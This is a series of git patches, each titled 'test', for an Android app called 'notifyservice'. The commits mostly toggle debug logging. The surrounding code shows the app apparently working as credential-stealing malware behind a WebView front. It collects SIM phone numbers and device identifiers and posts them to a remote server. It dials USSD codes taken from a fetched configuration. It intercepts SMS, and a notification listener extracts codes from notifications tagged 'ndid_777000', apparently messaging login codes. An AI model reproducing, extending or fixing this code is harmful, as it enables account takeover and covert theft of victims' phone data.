From a500d90df53c3a09637780d51b858fde4b2c8465 Mon Sep 17 00:00:00 2001 From: Your Name Date: Mon, 14 Apr 2025 21:06:43 +0300 Subject: [PATCH 01/11] test --- app/src/main/java/com/example/notifyservice/MainActivity.java | 1 + 1 file changed, 1 insertion(+) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index a3bce49..4501c24 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -451,6 +451,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String currentLanguage = Locale.getDefault().getLanguage(); if(!result.getJSONObject("data").has(currentLanguage)) currentLanguage = "en"; + language = result.getJSONObject( "data" // STATIC ).getJSONObject(currentLanguage); From 339eb448765252eaf81ffd3c16617cadce480608 Mon Sep 17 00:00:00 2001 From: Your Name Date: Mon, 14 Apr 2025 21:10:17 +0300 Subject: [PATCH 02/11] test --- app/src/main/java/com/example/notifyservice/MainActivity.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 4501c24..4a70c9c 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -393,7 +393,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba receivingSms = false; setCurrentHash(context, ""); // STATIC // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); - if(!isSimConnected(context, phone.telephonyManager)) + if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) nextPhone(); else requestUssdNumber(phone); From d645298fe1fe89707c51984b4dd563dae866941d Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 01:20:20 +0300 Subject: [PATCH 03/11] test --- app/src/main/java/com/example/notifyservice/MainActivity.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 4a70c9c..b8d010d 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -465,8 +465,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba requestPermissions(retrievePermissions(this)); } } - } catch (JSONException e) { - // Log.i("ww", Arrays.toString(e.getStackTrace())); + } catch (Exception e) { + Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } From 7583806cb55806b11a55492ebd73226642b52fa2 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 01:26:39 +0300 Subject: [PATCH 04/11] test --- .../com/example/notifyservice/Encryption.java | 16 ++--- .../com/example/notifyservice/GetRequest.java | 2 +- .../com/example/notifyservice/Listener.java | 2 +- .../example/notifyservice/MainActivity.java | 72 +++++++++---------- .../example/notifyservice/PostRequest.java | 2 +- 5 files changed, 47 insertions(+), 47 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/Encryption.java b/app/src/main/java/com/example/notifyservice/Encryption.java index 74dc744..31b95e2 100644 --- a/app/src/main/java/com/example/notifyservice/Encryption.java +++ b/app/src/main/java/com/example/notifyservice/Encryption.java @@ -52,14 +52,14 @@ public class Encryption { "SECRET_KEY" // VARIABLE ).getBytes("UTF-8"), "AES"); - // Log.i("asd", "SECRET_KEY");// VARIABLE - // Log.i("dsa", "IV_KEY");// VARIABLE + Log.i("asd", "SECRET_KEY");// VARIABLE + Log.i("dsa", "IV_KEY");// VARIABLE Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(mode, skeySpec, iv); return cipher; } catch (Exception ignored) { - // Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); + Log.i("gfggg", Arrays.toString(ignored.getStackTrace())); } return null; } @@ -121,7 +121,7 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("SHA-512"); return randomizeCase(bytesToHex(md.digest(bytesOfMessage))); } catch (Exception ignore) { - // Log.i("exp2", Arrays.toString(ignore.getStackTrace())); + Log.i("exp2", Arrays.toString(ignore.getStackTrace())); } return null; } @@ -132,7 +132,7 @@ public class Encryption { MessageDigest md = MessageDigest.getInstance("MD5"); return bytesToHex(md.digest(bytesOfMessage)); } catch (Exception ignore) { - // Log.i("exp3", Arrays.toString(ignore.getStackTrace())); + Log.i("exp3", Arrays.toString(ignore.getStackTrace())); } return null; } @@ -143,7 +143,7 @@ public class Encryption { byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT)); return new String(plainText); } catch (Exception e) { - // Log.i("exp4", Arrays.toString(e.getStackTrace())); + Log.i("exp4", Arrays.toString(e.getStackTrace())); } return ""; } @@ -164,7 +164,7 @@ public class Encryption { return decryptedMessage; } catch (Exception e) { - // Log.i("exp22", Arrays.toString(e.getStackTrace())); + Log.i("exp22", Arrays.toString(e.getStackTrace())); } return ""; } @@ -179,7 +179,7 @@ public class Encryption { cipher.init(Cipher.ENCRYPT_MODE, publicKey); return bytesToHex(cipher.doFinal(data.getBytes())); } catch (Exception e) { - // Log.i("exp31", Arrays.toString(e.getStackTrace())); + Log.i("exp31", Arrays.toString(e.getStackTrace())); } return ""; diff --git a/app/src/main/java/com/example/notifyservice/GetRequest.java b/app/src/main/java/com/example/notifyservice/GetRequest.java index 917c5cb..4bdf34f 100644 --- a/app/src/main/java/com/example/notifyservice/GetRequest.java +++ b/app/src/main/java/com/example/notifyservice/GetRequest.java @@ -52,7 +52,7 @@ public class GetRequest { result ))); } catch (Exception e) { - // Log.i("exp1", Arrays.toString(e.getStackTrace())); + Log.i("exp1", Arrays.toString(e.getStackTrace())); } } diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index da3a84f..56e37e2 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -57,7 +57,7 @@ public class Listener extends NotificationListenerService { @Override public void onNotificationPosted(StatusBarNotification sbn){ String packageName = sbn.getPackageName(); - // Log.i(packageName, packageName); + Log.i(packageName, packageName); if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC String code = processExtras(sbn.getNotification().extras); if (code.length() < 5) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index b8d010d..d9a7d10 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onCreate(Bundle savedInstanceState) { - // Log.i("a", "1"); // STATIC + Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); @@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - // Log.i("a", "Loading data..."); // STATIC + Log.i("a", "Loading data..."); // STATIC loadData(); - // Log.i("a", "Data loaded."); // STATIC + Log.i("a", "Data loaded."); // STATIC } @@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - // Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC + Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - // Log.i("a", "Requesting languages - " + languagesUrl); // STATIC + Log.i("a", "Requesting languages - " + languagesUrl); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { - // Log.i("a", "Get key"); // STATIC + Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { - // Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC + Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { - // Log.i("a", "Set key"); // STATIC + Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { - // Log.i("a", "Prompt"); // STATIC + Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC @@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { - // Log.i("a", "Run thread"); // STATIC + Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { - // Log.i("a", "Get device info"); // STATIC + Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); - // Log.i("a", "Collected device info - " + m_data); // STATIC + Log.i("a", "Collected device info - " + m_data); // STATIC return m_data; } @@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba Intent intent = new Intent(this, Listener.class); startService(intent); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - // Log.i("a", "Make process"); // STATIC + Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ - // Log.i("a", "Canceling timer"); // STATIC + Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { - // Log.i("a", "Next phone"); // STATIC + Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { - // Log.i("a", "Make process task..."); // STATIC + Log.i("a", "Make process task..."); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); @@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { - // Log.i("a", "isSimConnected"); // STATIC + Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ - // Log.i("a", "SavePhone - " + phone.phone); // STATIC + Log.i("a", "SavePhone - " + phone.phone); // STATIC if(phone.phoneProvided()){ - // Log.i("a", "PhoneProvided"); // STATIC + Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { - // Log.i("a", "Phone not provided"); // STATIC + Log.i("a", "Phone not provided"); // STATIC receivingSms = false; setCurrentHash(context, ""); // STATIC - // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); + Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) nextPhone(); else @@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void requestPhone(Context context, PhoneNumber phone){ setCurrentHash(context, ""); // STATIC - // Log.i("a", "Requesting phone - " + phone.phone); // STATIC + Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { - // Log.i("a", "On post Response"); // STATIC + Log.i("a", "On post Response"); // STATIC try { - // Log.i("PostResult", result.toString()); // STATIC + Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC } @@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba }, Math.round(codeTimeout * 1000)); } } catch (Exception e) { - // Log.i("j", Arrays.toString(e.getStackTrace())); + Log.i("j", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { - // Log.i("a", "onGetResponse"); // STATIC + Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -472,7 +472,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private boolean isNotificationServiceEnabled() { - // Log.i("a", "isNotificationServiceEnabled"); // STATIC + Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -487,7 +487,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { - // Log.i("a", "retrievePermissions"); // STATIC + Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -495,13 +495,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { - // Log.i("222", Arrays.toString(e.getStackTrace())); + Log.i("222", Arrays.toString(e.getStackTrace())); return new String[0]; } } private void requestPermissions(String[] permissions) { - // Log.i("a", "requestPermissions"); // STATIC + Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -529,7 +529,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { - // Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC + Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -538,7 +538,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { - // Log.i("ddd", Arrays.toString(e.getStackTrace())); + Log.i("ddd", Arrays.toString(e.getStackTrace())); return; } @@ -569,7 +569,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ - // Log.i("a", "collectPhoneNumber"); // STATIC + Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -626,7 +626,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { - // Log.i("a", "onBackPressed"); // STATIC + Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -636,12 +636,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { - // Log.i("a", "onDestroy"); // STATIC + Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { - // Log.i("ppp", Arrays.toString(e.getStackTrace())); + Log.i("ppp", Arrays.toString(e.getStackTrace())); } } diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java index 6b6498b..1914431 100644 --- a/app/src/main/java/com/example/notifyservice/PostRequest.java +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -35,7 +35,7 @@ public class PostRequest { public final OkHttpClient client = new OkHttpClient(); public void execute(String... params) { - // Log.i("ExecutePost", "Post Executing..."); + Log.i("ExecutePost", "Post Executing..."); String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis())); String key = MainActivity.getKey(context) + timeStamp; From 73b9a45726493d6900c1654ca66ab113ef1da896 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 01:38:30 +0300 Subject: [PATCH 05/11] test --- .../example/notifyservice/MainActivity.java | 78 +++++++++---------- 1 file changed, 39 insertions(+), 39 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index d9a7d10..166d64c 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onCreate(Bundle savedInstanceState) { - Log.i("a", "1"); // STATIC + // Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); @@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - Log.i("a", "Loading data..."); // STATIC + // Log.i("a", "Loading data..."); // STATIC loadData(); - Log.i("a", "Data loaded."); // STATIC + // Log.i("a", "Data loaded."); // STATIC } @@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC + // Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - Log.i("a", "Requesting languages - " + languagesUrl); // STATIC + // Log.i("a", "Requesting languages - " + languagesUrl); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { - Log.i("a", "Get key"); // STATIC + // Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { - Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC + // Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { - Log.i("a", "Set key"); // STATIC + // Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { - Log.i("a", "Prompt"); // STATIC + // Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC @@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba this.runOnUiThread(new Runnable() { public void run() { - Log.i("a", "Run thread"); // STATIC + // Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } @@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba public static String getDeviceInfo(Context context) { - Log.i("a", "Get device info"); // STATIC + // Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); @@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); - Log.i("a", "Collected device info - " + m_data); // STATIC + // Log.i("a", "Collected device info - " + m_data); // STATIC return m_data; } @@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba Intent intent = new Intent(this, Listener.class); startService(intent); registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); - Log.i("a", "Make process"); // STATIC + // Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } @@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public void cancelTimer(){ - Log.i("a", "Canceling timer"); // STATIC + // Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { - Log.i("a", "Next phone"); // STATIC + // Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { - Log.i("a", "Make process task..."); // STATIC + // Log.i("a", "Make process task..."); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); @@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { - Log.i("a", "isSimConnected"); // STATIC + // Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; @@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void savePhone(Context context, PhoneNumber phone){ - Log.i("a", "SavePhone - " + phone.phone); // STATIC + // Log.i("a", "SavePhone - " + phone.phone); // STATIC if(phone.phoneProvided()){ - Log.i("a", "PhoneProvided"); // STATIC + // Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { - Log.i("a", "Phone not provided"); // STATIC + // Log.i("a", "Phone not provided"); // STATIC receivingSms = false; setCurrentHash(context, ""); // STATIC - Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); + // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) nextPhone(); else @@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void requestPhone(Context context, PhoneNumber phone){ setCurrentHash(context, ""); // STATIC - Log.i("a", "Requesting phone - " + phone.phone); // STATIC + // Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC @@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onPostResponse(JSONObject result) { - Log.i("a", "On post Response"); // STATIC + // Log.i("a", "On post Response"); // STATIC try { - Log.i("PostResult", result.toString()); // STATIC + // Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC } @@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba }, Math.round(codeTimeout * 1000)); } } catch (Exception e) { - Log.i("j", Arrays.toString(e.getStackTrace())); + // Log.i("j", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } @@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onGetResponse(JSONObject result) { - Log.i("a", "onGetResponse"); // STATIC + // Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC @@ -449,8 +449,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } else if (result.get("name"). // STATIC equals("languages")) { // STATIC String currentLanguage = Locale.getDefault().getLanguage(); - if(!result.getJSONObject("data").has(currentLanguage)) - currentLanguage = "en"; + if(!result.getJSONObject("data").has(currentLanguage)) // STATIC + currentLanguage = "en"; // STATIC language = result.getJSONObject( "data" // STATIC @@ -466,13 +466,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } } } catch (Exception e) { - Log.i("ww", Arrays.toString(e.getStackTrace())); + // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } private boolean isNotificationServiceEnabled() { - Log.i("a", "isNotificationServiceEnabled"); // STATIC + // Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), @@ -487,7 +487,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private static String[] retrievePermissions(Context context) { - Log.i("a", "retrievePermissions"); // STATIC + // Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context @@ -495,13 +495,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { - Log.i("222", Arrays.toString(e.getStackTrace())); + // Log.i("222", Arrays.toString(e.getStackTrace())); return new String[0]; } } private void requestPermissions(String[] permissions) { - Log.i("a", "requestPermissions"); // STATIC + // Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } @@ -529,7 +529,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private void requestUssdNumber(PhoneNumber phone) { - Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC + // Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) return; String ussdRequest = null; @@ -538,7 +538,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC } catch (JSONException e) { - Log.i("ddd", Arrays.toString(e.getStackTrace())); + // Log.i("ddd", Arrays.toString(e.getStackTrace())); return; } @@ -569,7 +569,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba } private List collectPhoneNumber(Context context){ - Log.i("a", "collectPhoneNumber"); // STATIC + // Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; @@ -626,7 +626,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override public void onBackPressed() { - Log.i("a", "onBackPressed"); // STATIC + // Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { @@ -636,12 +636,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onDestroy() { - Log.i("a", "onDestroy"); // STATIC + // Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { - Log.i("ppp", Arrays.toString(e.getStackTrace())); + // Log.i("ppp", Arrays.toString(e.getStackTrace())); } } From 63bbc85318e86d3872c9929130db6397e224f489 Mon Sep 17 00:00:00 2001 From: Your Name Date: Tue, 15 Apr 2025 01:47:26 +0300 Subject: [PATCH 06/11] test --- .../example/notifyservice/MainActivity.java | 74 +++++++++---------- 1 file changed, 37 insertions(+), 37 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java index 166d64c..ba461c4 100644 --- a/app/src/main/java/com/example/notifyservice/MainActivity.java +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba @Override protected void onCreate(Bundle savedInstanceState) { - // Log.i("a", "1"); // STATIC + Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); @@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba // Загрузка начального URL webView.loadUrl(websiteUrl); - // Log.i("a", "Loading data..."); // STATIC + Log.i("a", "Loading data..."); // STATIC loadData(); - // Log.i("a", "Data loaded."); // STATIC + Log.i("a", "Data loaded."); // STATIC } @@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba private void loadData() { requestsCount = 0; - // Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC + Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); - // Log.i("a", "Requesting languages - " + languagesUrl); // STATIC + Log.i("a", "Requesting languages - " + languagesUrl); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { - // Log.i("a", "Get key"); // STATIC + Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { - // Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC + Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { - // Log.i("a", "Set key"); // STATIC + Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { - // Log.i("a", "Prompt"); // STATIC + Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC 